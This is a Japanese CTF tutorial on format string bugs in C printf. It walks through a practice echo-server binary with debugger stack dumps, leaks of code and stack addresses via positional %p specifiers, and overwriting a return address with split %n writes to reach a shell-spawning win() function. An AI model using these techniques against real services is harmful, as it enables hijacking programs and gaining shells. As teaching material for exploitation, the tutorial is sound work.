FSB

Format String Bugを用いた攻撃とスタックのお話

Challenge

[Distribution File]

1
nc sc.skb.pw 49400

FSB: Format String Bugとは

Format String

FSB (Format String Bug) は、printf()等のフォーマット文字列を受け取る関数における フォーマット指定子と引数の数の不整合によって発生するバグです。

以下のようなコードを考えます:

1
printf("%s %d %p\n", buf, 32, &num);

ここでフォーマット指定子は%s, %d, %pの3つであり、それに対応する引数もbuf,32,&numの3つが与えられています。

それに対して、以下のようなコードではどうなるでしょうか:

1
printf("%s %d %p\n");

フォーマット指定子3つに対して、対応する引数は一つも与えられていません。 これを実行すると、以下のような結果が得られました:

1
2
$ ./test
x/ -1439696680 0x55c7a3f8edc0

それぞれ x/, -1439696680, 0x55c7a3f8edc0 が出力されました。 以下、その理由について少し考えてみます。

x64における引数渡し

今回のx64環境では、関数への引数はレジスタとスタックによって渡されます。 整数型引数は、RDI, RSI, RDX, RCX, R8, R9のレジスタに順番に渡されます。 7個目以降の引数はスタックに積まれていきます。 浮動小数点数引数は、XMM0からXMM7のレジスタに順番に渡されます。

例として、以下のような関数呼び出し時を考えると:

1
2
3
4
printf("%p %p %p %p %p %p %p : %p %p %p\n", \
  1, 2, 3, 4, 5, 6, 7, \
  8, 9, 10
);

call printfの直前のレジスタ及びスタックの値は以下のようになります:

gef> registers
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x3
$rdx   : 0x2
$rsp   : 0x00007fffffffe360  ->  0x0000000000000006
$rbp   : 0x00007fffffffe390  ->  0x0000000000000001
$rsi   : 0x1
$rdi   : 0x0000555555556008  ->  '%p %p %p %p %p %p %p : %p %p %p\n'
$rip   : 0x0000555555555189 <main+0x40>  ->  0xc48348fffffec2e8
$r8    : 0x4
$r9    : 0x5

gef> tele $rsp 5
0x00007fffffffe360|+0x0000|000: 0x0000000000000006  <-  $rsp
0x00007fffffffe368|+0x0008|001: 0x0000000000000007
0x00007fffffffe370|+0x0010|002: 0x0000000000000008
0x00007fffffffe378|+0x0018|003: 0x0000000000000009 ('\t'?)
0x00007fffffffe380|+0x0020|004: 0x000000000000000a ('\n'?)

FSBの原理

FSBに話を戻します。 フォーマット文字列中の指定子は、現れた順に対応する引数を参照します。 文字列が %s %s %s であった場合には、順に2,3,4番目の引数を参照していくことになります (1番目の引数は、フォーマット文字列自体です)。 指定子が7個以上ある場合には、スタックを順に参照していきます。 スタック上の引数は、呼び出し直前のRSPが指す場所に置いてあります。

先程の例のように フォーマット指定子の数と引数の数が一致しない場合でも、 printf()は引数があると想定される場所(レジスタ・スタック)から値を参照してしまいます

1
printf("%s %d %p");

つまり、この例ではRSI, RDX, RCXに格納された値を参照します。 指定子が7個以上あった場合には、スタックの値を参照することになります。 以上がFSBの原理です。

FSA: Format String Attack

FSBを利用した攻撃を FSA: Format String Attack といいます。 FSBが顕在化し、FSAが可能になるような典型的な例は以下のような場合です:

1
2
3
char buf[0x100];
gets(buf);
printf(buf);

上の例では、ユーザ入力をそのままprintfの第1引数として渡してしまっています。 この場合ユーザは任意のフォーマット文字列を指定できることになります。

本章に限らず、exploitには R: READ / W: WRITE の2つのベクトルがあります。 基本的にはexploitを成功させるにはR/Wの両方が必要となり、RとWを順を追って獲得していくことを目指します。

FSAは、条件が揃えばRWのどちらも獲得可能な攻撃手法です。

FSAでのREADプリミティブ

.textベースのleak

ここからは、Challengeファイルを使って進めていきます。 ソースコードの抜粋は以下のとおりです:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
void loop(void) {
  char buf[0x100];

  while (1 == 1) {
    printf("> ");
    scanf("%200s", buf);
    if (buf[0] == 'q') {
      puts("Bye!");
      return;
    }
    printf(buf);
    puts("");
  }
}

bufに対してユーザ入力を格納し、それをそのままprintfの第1引数として渡しています。典型的なFSBです。

GDBを開き、loop関数に入ったあとでブレークポイントで2番目のprintfで実行を止めてみます:

gef> b loop
gef> run
gef> b printf
gef> c
gef> c

このとき、仮にABCDEFGHを入力していたとするとRDIレジスタは以下のようになります:

$rdi   : 0x00007fffffffe1f0  ->  'ABCDEFGHIJK'

さて、PIEが有効化されたプログラムは実行するたびに.textセクションがロードされるアドレスが変わります。 まずはこの.textbaseをleakしましょう。 このleakが必要な理由はwin()アドレスのleakにおいて説明します。 .textbaseをleakするにあたって知りたいのは、main, win, loopなどの.textセクション内にある関数のアドレスです。 teleコマンドを使って、使えそうなアドレスがスタック内に落ちていないか探してみましょう:

gef> tele $rsp 40
0x00007fffffffe1e8|+0x0000|000: 0x0000555555555293 <loop+0x90>  ->  0x4800000d80058d48  <-  retaddr[1]  <-  $rsp
#### loop() stack #####################################################
0x00007fffffffe1f0|+0x0008|001: 'ABCDEFGHIJK'  <-  $rdi
0x00007fffffffe1f8|+0x0010|002: 0x00000000004b4a49 ('IJK'?)
0x00007fffffffe200|+0x0018|003: 0x0000000000008000
0x00007fffffffe208|+0x0020|004: 0x0000000000000040 ('@'?)
0x00007fffffffe210|+0x0028|005: 0x000000000000000c ('\x0c'?)
0x00007fffffffe218|+0x0030|006: 0x0000000000000040 ('@'?)
0x00007fffffffe220|+0x0038|007: 0x0000000000000040 ('@'?)
0x00007fffffffe228|+0x0040|008: 0x000000000000000c ('\x0c'?)
0x00007fffffffe230|+0x0048|009: 0x0000000000000000
0x00007fffffffe238|+0x0050|010: 0x00007ffff7c8af6d <_IO_file_write+0x2d>  ->  0xc329482e78c08548
0x00007fffffffe240|+0x0058|011: 0x0000000000000002
0x00007fffffffe248|+0x0060|012: 0x00007ffff7e1a780 <_IO_2_1_stdout_>  ->  0x00000000fbad2887
0x00007fffffffe250|+0x0068|013: 0x0000000000000001
0x00007fffffffe258|+0x0070|014: 0x00007ffff7e1a803 <_IO_2_1_stdout_+0x83>  ->  0xe1ba70000000000a ('\n'?)
0x00007fffffffe260|+0x0078|015: 0x0000000000000d68 ('h\r'?)
0x00007fffffffe268|+0x0080|016: 0x00007ffff7c8ca61 <_IO_do_write+0xb1>  ->  0x008083b70fc58949
0x00007fffffffe270|+0x0088|017: 0x000055555555601b  ->  'Welcome to EchoServer...!'
0x00007fffffffe278|+0x0090|018: 0x000000000000000a ('\n'?)
0x00007fffffffe280|+0x0098|019: 0x00007ffff7e1a780 <_IO_2_1_stdout_>  ->  0x00000000fbad2887
0x00007fffffffe288|+0x00a0|020: 0x000055555555601b  ->  'Welcome to EchoServer...!'
0x00007fffffffe290|+0x00a8|021: 0x0000555555558020 <stdout@GLIBC_2.2.5>  ->  0x00007ffff7e1a780 <_IO_2_1_stdout_>  ->  0x00000000fbad2887
0x00007fffffffe298|+0x00b0|022: 0x00007ffff7e16600 <_IO_file_jumps>  ->  0x0000000000000000
0x00007fffffffe2a0|+0x00b8|023: 0x00007ffff7ffd040 <_rtld_global>  ->  0x00007ffff7ffe2e0  ->  0x0000555555554000  ->  ...
0x00007fffffffe2a8|+0x00c0|024: 0x00007ffff7c8cf43 <_IO_file_overflow+0x103>  ->  0xffff57850ffff883
0x00007fffffffe2b0|+0x00c8|025: 0x0000000000000019
0x00007fffffffe2b8|+0x00d0|026: 0x00007ffff7e1a780 <_IO_2_1_stdout_>  ->  0x00000000fbad2887
0x00007fffffffe2c0|+0x00d8|027: 0x000055555555601b  ->  'Welcome to EchoServer...!'
0x00007fffffffe2c8|+0x00e0|028: 0x00007ffff7c8102a <puts+0x15a>  ->  0xff19e98b75fff883
0x00007fffffffe2d0|+0x00e8|029: 0x00007ffff7e1a6a0 <_IO_2_1_stderr_>  ->  0x00000000fbad2087
0x00007fffffffe2d8|+0x00f0|030: 0x00007ffff7c81765 <setvbuf+0xf5>  ->  0x1945138b01f88348
0x00007fffffffe2e0|+0x00f8|031: 0x0000000000000000
0x00007fffffffe2e8|+0x0100|032: 0x00007fffffffe320  ->  0x0000000000000001
0x00007fffffffe2f0|+0x0108|033: 0x00007fffffffe438  ->  0x00007fffffffe6be  ->  '/home/wataru/Documents/p3land-challs/challs/fsb/src/fsb'
0x00007fffffffe2f8|+0x0110|034: 0xc425c43ec6330900  <-  canary
0x00007fffffffe300|+0x0118|035: 0x00007fffffffe320  ->  0x0000000000000001  <-  $rbp
0x00007fffffffe308|+0x0120|036: 0x000055555555532f <main+0x81>  ->  0x00c3c900000000b8  <-  retaddr[2]

今はprintfをcallした直後であり、RBPはまだ退避されていません。よって、RSP+0x8loop()のスタックフレーム上端、RBP+0x10main()のスタックフレーム上端になります。

loopmainに帰るはずのため、loopスタックフレームの底にはmainのアドレスが入っているはずです。 pwndbggef等の拡張を使っている場合には、スタック上の値がそれぞれどのような値なのかをヒントとして出力してくれます。 上の例はgefの出力であり、loopスタックフレームの底(+0x0120)にはmain+0x81が入っていることが分かります。今回はこれを出力すれば良さそうです。

loopのスタックフレーム上端、つまりスタックに積まれる引数の先頭は001番目です(gefの表示は0-originのため+1)。 対してリークしたい値(RA)が入っているのは036番目です。よって、リークしたい値はスタック引数の(36 - 1) + 1番目です(off-by-oneに注意)。 レジスタに入る引数が5個ある(6レジスタの内1つはフォーマット文字列そのもの)ことを考えると、リークしたい値は引数全体の((36 - 1) + 1) + 5 == 41番目になります。

フォーマット指定子では、 %<num>$<specifier>のように指定することで何番目の引数を使うかを決めることができます 。つまり、以下のフォーマット指定子は同値になります:

1
2
printf("%p:%p:%p");
printf("%1$p:%2$p:%3$p");

よって、41番目の引数を参照したい場合には %41$p と書くことができます。実際にこれを入力すると以下のようになります:

1
2
3
4
$ ./fsb
Welcome to EchoServer...!
> %41$p
0x5630e1f0732f

確かにmainっぽいアドレスが得られましたね! 実際にはこれがmainの先頭ではなく main+0x81 であるため、リークしたい値から0x81を引いてあげる必要があります。

win()アドレスのleak

このChallengeでは、お誂え向きにシェルをくれるwin()関数が定義されています:

1
void win(void) { system("/bin/sh"); }

win()main()が実際にどのアドレスに配置されるかはASLRの影響を受けるため実行してみるまでわかりません。 しかし、 win()main()のアドレスの相対的な位置関係はASLRには影響されません 。 つまり、mainのアドレスがleakできればwinのアドレスを計算することができます。

nmコマンドでmainwinのアドレスを調べてみます:

1
2
3
4
$ nm ./fsb | grep -e win -e main
                 U __libc_start_main@GLIBC_2.34
00000000000012ae T main
00000000000011e9 T win

winmainのアドレス差分は 0x11e9 - 0x12ae であることが分かります。 先程leakしたmainのアドレス (0x5630e1f0732f - 0x81) より、winのアドレスは (0x5630e1f0732f - 0x81) + (0x11e9 - 0x12ae) == 0x5630e1f071e9であることが分かります。

Stack Baseのleak

.text baseがleakできたため、次はstackのアドレスをleakしましょう。 なぜstackのアドレスが必要なのかはのちほど説明します。

x64のCalling Conventionを考えると、先程leakしたloop()のRA(main)のすぐ上にはRBPがあるはずです:

0x00007fffffffe2f8|+0x0110|034: 0xc425c43ec6330900  <-  canary
0x00007fffffffe300|+0x0118|035: 0x00007fffffffe320  ->  0x0000000000000001  <-  $rbp
0x00007fffffffe308|+0x0120|036: 0x000055555555532f <main+0x81>  ->  0x00c3c900000000b8  <-  retaddr[2]

これはmainのスタックフレーム下端のアドレスであるため、これがleakできればスタックアドレスがleakできることになります。 該当する引数は、41 - 1 == 40です。これを実際に入力してみると:

1
2
3
4
$ ./fsb
Welcome to EchoServer...!
> %40$p
0x7fffffffe320

スタックのアドレスが得られました。 スタックのアドレスも実行ごとに変わりますが、ここでleakしたアドレスとloopのスタックフレーム上端のアドレスの差分は実行ごとに不変です。 今回は差分が 0x7fffffffe320 - 0x7fffffffe1f0 == 0x130 であるため、leakしたアドレスから0x130を引くことで常にloopのスタックフレーム上端アドレスを得ることができます。

FSAでのWRITEプリミティブ

さて、ここまででleakができたので次は書き込みです。

先程の関数プロローグの話でも出てきたように、スタックフレームの底にはRAが置いてあります。 この値を書き換えてしまうと書き換えた値にRIPを飛ばすことができます。

%n 指定子

フォーマット指定子の内、書き込みを行うことのできる指定子は %n だけです。 これは、%nまでに出力された文字列の長さを引数で指定されるアドレスに書き込む指定子です。

1
2
3
4
char *s = "123456789";
unsigned n = 0;
printf("%s%n", s, &n);
assert(n == 9);

上の例の場合%nまでには9文字分が出力されるため、nには9が書き込まれることになります。

また、%nには書き込み先の変数の大きさを指定することができます。%nだと4byte、%hnだと2byteを書き込みます。

スタックに書き込み対象のアドレスを書き込む

方針としては、%nを使ってloopスタックフレームのRAをwin()のアドレスに書き換えたいです。 ここで注意したいこととして、 %nが取る引数は書き込み対象のアドレスです。よって、書き込みを行う前にスタック上にこのアドレスを積んでおく必要があります

今回のケースではこれはとても簡単です。 先程のgefの出力でも分かるように、mainのスタックフレーム上端にはbufが配置されています。 よって、書き込み対象のアドレスを表す8byteを入力として与えてやれば %7$n で書き込み対象のアドレスに書き込むことが出来るようになります。

なお、今回書き込み対象のアドレスが0x00007fffffffe308であることからもわかるように、ASCII文字で表すことができません。pwntoolsを使って入力を与えてあげましょう:

1
c.sendline(p64(0x00007fffffffe308))

この入力直後のloopスタックは以下のようになります:

0x00007fffffffe1f0|+0x0000|000: 0x00007fffffffe308
0x00007fffffffe1f8|+0x0008|001: 0x000000000000000a
0x00007fffffffe200|+0x0010|002: 0x0000000000008000
0x00007fffffffe208|+0x0018|003: 0x0000000000000040 ('@'?)
0x00007fffffffe210|+0x0020|004: 0x000000000000000c ('\x0c'?)

確かにスタックの意図した場所に書き込み対象のアドレスが入っていますね。

FSAで書き込みをする際の注意事項

ここまででの説明でRAを書き換えてwinRIPを飛ばすことができます。ただし、FSAで書き込みを行う場合には数点注意事項があります。

まず、一度の書き込みでRAを書き換えようとすると出力文字列が異常に多くなってしまうということです。 今回の例ではmainのアドレス0x5630e1f071e9を書き込みますが、そのためには0x5630e1f071e9文字分を事前に出力する必要があります。 これだけ大量の出力をしようとすると、リモートとの通信に異常時間がかかるかプログラムが落ちてしまうことになります。 そのため、 2byteずつに分けて書き込むことが推奨されます

例えば、今回の場合には 0x71e9, 0xe1f0, 0x5630の3つにわけて書き込むことで、 必要な出力文字数は max(0x71e9, 0xe1f0, 0x5630) == 0xe1f0 ですみます。

分割して出力する場合には、事前にスタックに積んでおく対象アドレスも2byteずつずらして3つ書き込んでおく必要があることに注意してください。

続いて、%nで任意の値を出力するために事前に出力する文字列は、%<width>cを使うと良いです。 例えば%500cと入力すると500文字が出力されます。 この際はもちろん対応するレジスタに格納されたchar値が使われますが、出力する文字自体はなんでも良いので問題ありません。これを使わないと、0xe1f0文字の出力のために0xe1f0文字だけ入力してやる必要があります。 今回は用意されているbufのサイズが0x100しかないため、0xe1f0文字を入力することはできません。


以上でFSAを使って本Challengeを解くことが出来るかと思います。 ぜひリモートサーバでflagを取得してみてください。


Exercise

1. FSB Basic RW

[Distribution File]

1
nc sc.skb.pw 49400
Last modified November 15, 2023: add warning about challenge server (55ad5da)